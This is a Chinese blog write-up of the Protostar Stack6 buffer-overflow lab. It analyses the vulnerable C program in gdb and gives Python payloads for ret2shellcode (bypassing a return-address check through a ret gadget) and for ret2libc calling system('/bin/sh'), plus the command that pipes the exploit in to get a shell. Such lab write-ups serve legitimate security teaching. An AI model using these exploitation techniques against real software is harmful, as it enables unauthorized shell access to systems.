草庐IT

Pwn系列之Protostar靶场 Stack6题解

嘉沐のBlog 2023-08-15 原文

源码如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

首先,我们先来分析这段程序在做什么?

  1. 第1-4行导入一些常见的库函数
  2. 第6行定义了getpath()函数
  3. 第8行定义了一个buffer数组,数组长度是64
  4. 第9行定义了一个unsigned int 变量,变量名ret
  5. 第11行打印输出字符串“input path please”
  6. 第13行用gets函数向buffer数组写入字符
  7. 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址,需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址(Caller's ret)。
  8. 第17行-20行就是判断该返回地址的高位是否是0xbf,如果是,退出函数。
  9. 第22行打印buffer的值

不难知道,main函数是Caller,所以第15行的返回值一定就是main函数中的下一条指令的地址,我们来查看一下当程序运行时,系统为该程序分配的栈地址是多少。

先在main函数里打个断点(程序运行后,才会由内存映射),然后使用info proc map查看

Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

第17行可以看到,栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强,也就是说没法将getpath的返回地址直接返回到buffer的首地址(因为buffer在栈上),实现ret2shellcode。

但是真的不能利用了吗?显然还有机会!但是机会是有前提的。这道题存在两个假设:

  1. 假设栈上可以执行代码(ret2shellcode)

  2. 假设栈上不能执行代码(ret2libc)

接下来,我们将根据两个假设做进一步分析。

getpath的汇编代码:

(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:	push   ebp
0x08048485 <getpath+1>:	mov    ebp,esp
0x08048487 <getpath+3>:	sub    esp,0x68
0x0804848a <getpath+6>:	mov    eax,0x80485d0
0x0804848f <getpath+11>:	mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:	call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:	mov    eax,ds:0x8049720
0x0804849c <getpath+24>:	mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:	call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:	lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:	mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:	call   0x8048380 <gets@plt>
0x080484af <getpath+43>:	mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:	mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:	mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:	and    eax,0xbf000000
0x080484bd <getpath+57>:	cmp    eax,0xbf000000
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    eax,0x80485e4
0x080484c9 <getpath+69>:	mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:	mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:	mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    eax,0x80485f0
0x080484e9 <getpath+101>:	lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:	mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:	mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave  
0x080484f9 <getpath+117>:	ret    
End of assembler dump.

看汇编代码重点关注的是它的栈结构,尤其是buffer距离ret的距离。我们尝试画出getpath的栈图(大致就可以,不需要画的多细,找距离也是通过构造特殊输入计算的,而不是根据栈图计算的。)

假设一:栈上可以执行代码

正常的ret2shellcode思路:如果栈上可以执行代码,那么我们需要修改ret的返回地址,要控制ret的返回地址到shellcode的首地址,执行shellcode。但现在ret的返回地址会被检查,所以需要在正常思路稍作改动即可。

第一个ret会被检查,那么我们控制第一个ret返回的是getpath的ret指令地址,地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址,当运行到第2个ret时,eip加载shellcode的首地址,然后就会跳转到buffer里执行shellcode代码!

要找到ret位置,首先我们构造特殊的字符串

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

然后运行程序

Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

在0x55555555中出现段错误,出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。

0x55在我们构造的字符串里是’U‘,所以只要把'U'的地址替换为ret的地址即可。具体修改如下:

(gdb) x /10xw $esp
0xbffff78c:	0x080484f9	0xbffff794	0xcccccccc	0xbffff800
0xbffff79c:	0xb7eadc76	0x00000001	0xbffff844	0xbffff84c
0xbffff7ac:	0xb7fe1848	0xbffff800

payload如下:

# 没有真的写shellcode,而是用0xc来模拟

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)

payload = buffer + ret + shellcode
print payload

假设二:栈上不可以执行代码

当栈上无法执行代码时,shellcode写入栈就没有了任何意义。那么如何利用呢?考虑的方法是借助libc库里的可执行函数,比如system()函数。system执行shell需要参数,比如“/bin/sh”字符串,我们同样也需要在libc库空间里找这个字符串。

当程序运行到ret时,ret里记录的是system函数的入口地址,程序就会jmp到system函数,system函数执行需要参数,程序就会读取"/bin/sh"字符串作为参数传递给system函数,这样就构成了system("/bin/sh")命令执行,轻松拿到shell。

如果对整个压栈的过程不是很清楚的同学们可能会疑惑,为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢?这里我简单做一个解释。

正常调用一个函数他有一个规约,对于一个main函数调用gets(buffer)函数来说,在main函数里会先把buffer参数压栈(如果是多个参数的的话,从右往左压栈),然后call gets函数。call 命令一般会干两件事,第一件事是push eip,也就是把gets函数的下一条指令地址压栈(这就是为什么栈上要放一个ret的返回的地址)。第二件事是jmp gets,跳转到gets的函数入口。

首先在libc里找到system函数的入口地址(为什么可以呢,因为libc库已经被链接到程序里了,所以可以直接搜system函数的地址)

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

在libc库空间搜索/bin/sh字符串

user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh

1176511是一个相对地址(10进制),所以还要加上libc的基址0xb7e97000(查看内存映射可得出)

Payload如下:

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"

shellcode = struct.pack("I",0xb7e97000+1176511)

payload = buffer +system+ ret + shellcode
print payload

踩坑:

如果直接在gdb里尝试这个Payload会出现一个错误:

__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c

使用下面这条指令,getshell!

(python exp1.py; cat) | /opt/protostar/bin/stack6

有关Pwn系列之Protostar靶场 Stack6题解的更多相关文章

  1. python - 如何使用 Ruby 或 Python 创建一系列高音调和低音调的蜂鸣声? - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。

  2. ruby-on-rails - 使用一系列等级计算字母等级 - 2

    这里是Ruby新手。完成一些练习后碰壁了。练习:计算一系列成绩的字母等级创建一个方法get_grade来接受测试分数数组。数组中的每个分数应介于0和100之间,其中100是最大分数。计算平均分并将字母等级作为字符串返回,即“A”、“B”、“C”、“D”、“E”或“F”。我一直返回错误:avg.rb:1:syntaxerror,unexpectedtLBRACK,expecting')'defget_grade([100,90,80])^avg.rb:1:syntaxerror,unexpected')',expecting$end这是我目前所拥有的。我想坚持使用下面的方法或.join,

  3. 【鸿蒙应用开发系列】- 获取系统设备信息以及版本API兼容调用方式 - 2

    在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList​()Obt

  4. 阿里云RDS——产品系列概述 - 2

    基础版云数据库RDS的产品系列包括基础版、高可用版、集群版、三节点企业版,本文介绍基础版实例的相关信息。RDS基础版实例也称为单机版实例,只有单个数据库节点,计算与存储分离,性价比超高。说明RDS基础版实例只有一个数据库节点,没有备节点作为热备份,因此当该节点意外宕机或者执行重启实例、变更配置、版本升级等任务时,会出现较长时间的不可用。如果业务对数据库的可用性要求较高,不建议使用基础版实例,可选择其他系列(如高可用版),部分基础版实例也支持升级为高可用版。基础版与高可用版的对比拓扑图如下所示。优势 性能由于不提供备节点,主节点不会因为实时的数据库复制而产生额外的性能开销,因此基础版的性能相对于

  5. ruby - 为什么我用递归得到 "stack level too deep"? - 2

    我有这个ruby代码:defget_sumnreturn0ifn似乎正在为999之前的值工作。当我尝试9999时,它给了我这个:stackleveltoodeep(SystemStackError)所以,我添加了这个:RubyVM::InstructionSequence.compile_option={:tailcall_optimization=>true,:trace_instruction=>false}但什么也没发生。我的ruby版本是:ruby1.9.3p392(2013-02-22revision39386)[x86_64-darwin12.2.1]我还增加了机器的堆栈大

  6. ruby - 从结束值创建一系列字符串 - 2

    我使用irb。下面是我写的代码。“斧头”..“bc”我期待"ax""ay""az""ba"bb""bc"但结果只是“斧头”..“bc”我该如何纠正?谢谢。 最佳答案 >puts("ax".."bc").to_aaxayazbabbbc 关于ruby-从结束值创建一系列字符串,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/7617092/

  7. ruby-on-rails - 用一系列时间增量填充选择,加上其他选项 - 2

    使用RubyonRails,我使用给定的增量(例如每30分钟)用时间填充“选择”。目前我正在YAML文件中写出所有的可能性,但我觉得有一种更巧妙的方法。我想我想提供一个开始时间、一个结束时间、一个增量,并且目前只提供一个名为“关闭”的选项(想想“business_hours”)。所以,我的选择可能会显示:'Closed'5:00am5:30am6:00am...[allthewayto]...11:30pm谁能想出更好的方法,或者只是将它们全部“拼写”出来的最佳方法? 最佳答案 此答案基于@emh的答案。defcreate_hour

  8. Ruby 1.9.2-p-180 失败,返回 'illegal instruction' 或 'stack level too deep (SystemStackError)' - 2

    行为:Ruby1.9.2p180因“非法指令”而失败,没有其他详细信息。Ruby1.9.1p378运行完全没有问题。失败发生在pin=fronto.index(k)行中,仅在某些迭代中发生。from和into都是对象数组,by是该对象的属性(x或y)。代码:defadd_from_to_byfrom,into,bynto=into.sort_by{|k|k.send(by)}fronto=(from+nto).sort_by{|k|k.send(by)}dict={}nto.each{|k|dict[k]=[]}nto.eachdo|k|pin=fronto.index(k)up=pi

  9. Spring Security 6.0系列【32】授权服务器篇之默认过滤器 - 2

    有道无术,术尚可求,有术无道,止于术。本系列SpringBoot版本3.0.4本系列SpringSecurity版本6.0.2本系列SpringAuthorizationServer版本1.0.2源码地址:https://gitee.com/pearl-organization/study-spring-security-demo文章目录前言1.OAuth2AuthorizationServerMetadataEndpointFilter2.OAuth2AuthorizationEndpointFilter3.OidcProviderConfigurationEndpointFilter4.N

  10. ruby-on-rails - 使用 geokit 或其他 ruby​​ gem 计算一系列地理坐标的中心 - 2

    我使用geokit和geokit-railsgemforrails有一段时间了,但我还没有找到答案的一个问题是如何找到一组点的计算聚合中心。我知道如何计算两点之间的距离,但不会超过2。我的理由是,我在同一个城市中有一系列的点……一切都完美的城市会有一个我可以使用的中心,但有些城市,比如柏林没有一个完美的中心。他们有多个中心,我只想使用我数据库中的所有地点列表来计算特定分布的中心。还有其他人遇到过这个问题吗?有什么建议吗?谢谢 最佳答案 之前从未使用过Geokit,这个操作背后的数学原理相对容易自己实现。假设这些点由纬度和经度组成,您

随机推荐